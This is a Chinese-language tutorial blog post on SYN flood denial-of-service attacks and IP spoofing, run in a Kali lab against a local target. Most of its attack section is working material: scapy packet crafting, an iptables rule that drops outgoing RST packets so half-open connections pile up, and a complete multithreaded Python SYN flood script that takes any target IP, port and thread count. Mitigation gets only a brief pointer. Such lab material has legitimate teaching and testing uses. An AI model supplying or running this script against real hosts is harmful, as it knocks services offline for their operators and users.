二十八、拒絕服務--(2)SynFlood、IP地址欺騙
目錄
1、TCP三次握手
2、SynFlood攻擊原理
3、synflood測試
4、IP地址欺騙
1、TCP三次握手
一個正常的tcp連線,需要進行三次握手,tcp連線實質上只是客戶端和服務端的一種約定,如下圖所示:
2、SynFlood攻擊原理
syn佔用的tcp最大連線數,而不是佔用cpu或者記憶體,是即使作業系統具有syn在等待n秒後斷開的機制,但是flood攻擊時,新空閒的連線又會被新的syn連線擠滿。
3、synflood測試
實驗環境:kali
#apt-get install python-gnuplot //在kali開啟scapy會報一些資訊,如果再下次開啟時不再出現,需安裝此包
指定目標IP地址
>>> i=IP()
>>> i.dst="192.168.50.183"
>>> i.display()
###[ IP ]###
version= 4
ihl= None
tos= 0x0
len= None
id= 1
flags=
frag= 0
ttl= 64
proto= hopopt
chksum= None
src= 192.168.50.115
dst= 192.168.50.183
\options\
指定TCP埠
>>> t=TCP()
>>> t.dport=22
>>> t.display()
###[ TCP ]###
sport= ftp_data
dport= ssh
seq= 0
ack= 0
dataofs= None
reserved= 0
flags= S
window= 8192
chksum= None
urgptr= 0
options= {}
傳送資料包
>>> sr1(i/t,verbose=1,timeout=2)
Begin emission:
Finished to send 1 packets.
Received 2 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=44 id=0 flags=DF frag=0L ttl=64 proto=tcp chksum=0x5451 src=192.168.50.183 dst=192.168.50.115 options=[] |<TCP sport=ssh dport=ftp_data seq=1747720139 ack=1 dataofs=6L reserved=0L flags=SA window=5840 chksum=0x1aa9 urgptr=0 options=[('MSS', 1460)] |<Padding load='\x00\x00' |>>>
通過程式傳送資料包,對端會返回一個syn+ack,但是作業系統在接收到此資料包時,並不認為是系統本身傳送的(通過程式scapy傳送),所以會返回一個RST:
這樣就不會達到syn攻擊的效果,因為攻擊方主機已經主動的與被攻擊方斷開了,需要新增一條iptables策略,禁止傳送rst
iptables -A OUTPUT -p tcp --tcp-flags RST RST -d 192.168.50.183 -j DROP
再次傳送一個資料包,可以看到伺服器在等待並且要求重傳,當超時後,丟棄此包。如果通過傳送大量的資料包,則會造成synflood攻擊。
準備工作完成之後,下面開始針對靶機做測試:
#!/usr/bin/python
# -*- coding: utf-8 -*-
from scapy.all import *
from time import sleep
import thread
import random
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
if len(sys.argv) != 4:
print "用法: ./syn_flood.py [IP地址] [埠] [執行緒數]"
print "舉例: ./syn_flood.py 1.1.1.1 80 20"
sys.exit()
target = str(sys.argv[1])
port = int(sys.argv[2])
threads = int(sys.argv[3])
print "正在執行 SYN flood 攻擊. 按 Ctrl+C 停止攻擊."
def synflood(target,port):
while 0 == 0:
x = random.randint(0,65535)
send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)
for x in range(0,threads):
thread.start_new_thread(synflood, (target,port))
while 0 == 0:
sleep(1)
新增執行許可權chmod +x synflood.py
後,開始執行,此指令碼會一直迴圈傳送200個連線,直至ctrl+c終止。
在沒有執行攻擊之前,ssh登入192.168.50.183是很快的,一旦執行指令碼,登入會超時。當然有時也能登入上去,是因為正好空閒的連線釋放出來後,ssh登入使用此釋放的連線。
netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}' //檢視靶機的連線數
對於windows的可以在kali上使用
rdesktop
命令來遠端連線,傳送的連線數設定為10個就可以使windows xp無法連線,當然記得iptables策略。windows系統預設半開連線數10個,像迅雷一些下載軟體,在下載的時候,預設會修改最大的連線數
TCP斷開握手
可參考synflood原理與防範
4、IP地址欺騙
- 經常用於Dos攻擊
- 根據IP頭地址定址
- 偽造IP源地址
- 邊界路由器過濾
- 入站、出站
- 受害者可能是源、目的地址
- 繞過基於地址的驗證
- 壓力測試模擬多使用者
- 上層協議(TCP序列號)
相關文章
- IP欺騙技術介紹(2) (轉)
- 探祕PHP拒絕服務攻擊PHP
- 從程式詳解拒絕服務***薦
- IP欺騙原理與過程分析
- Linux 曝出 TCP 拒絕服務漏洞LinuxTCP
- 遭遇Tomcat遠端拒絕服務漏洞Tomcat
- 分散式拒絕服務攻擊(DDoS)原理分散式
- DHCP拒絕服務攻擊工具DHCPig
- CRLF注入 URL重定向 WEB拒絕服務Web
- IP欺騙技術介紹(1) (轉)
- Linux獨享主機繫結IP和MAC地址,防止ARP欺騙LinuxMac
- Linux 核心曝出 TCP 拒絕服務漏洞LinuxTCP
- 分散式拒絕服務攻擊 DDoS攻擊分散式
- 慢速 HTTP 拒絕服務: 分析利用和緩解HTTP
- 什麼是IP 欺騙以及如何防範?
- 初探堆疊欺騙之靜態欺騙
- 中小網站如何對付拒絕服務攻擊網站
- 再探堆疊欺騙之動態欺騙
- Loadrunner學習筆記之ip欺騙[Z]筆記
- 分散式拒絕服務攻擊(DDoS)原理及防範分散式
- 欺騙機器學習模型機器學習模型
- DNS欺騙(轉)DNS
- LLMNR欺騙工具Responder
- VNC拒絕服務漏洞(CVE-2015-5239)分析VNC
- APP漏洞掃描器之本地拒絕服務檢測詳解APP
- Windows Time服務無法啟動 錯誤5拒絕訪問Windows
- DNS欺騙和ARP欺騙是什麼?有何區別?DNS
- win10服務拒絕訪問如何解決_win10伺服器拒絕訪問的解決步驟Win10伺服器
- Kali Linux常用服務配置教程獲取IP地址Linux
- 安全之——郵件欺騙
- 駭客技術大放送,欺騙IP攻擊的追蹤(轉)
- 網路滲透測試實驗(2)之欺騙
- Linux 拒絕國外 IP 訪問的步驟Linux
- 欺騙防禦技術新功能:用郵件資料欺騙攻擊者
- 軟體解決顯示卡欺騙器,HDMI欺騙器,如何使用ToDesk免費功能
- 服務端如何獲取客戶端請求IP地址服務端客戶端
- 網路欺騙技術 (轉)
- 第六代iPod nano被放棄:蘋果拒絕提供一切服務NaN蘋果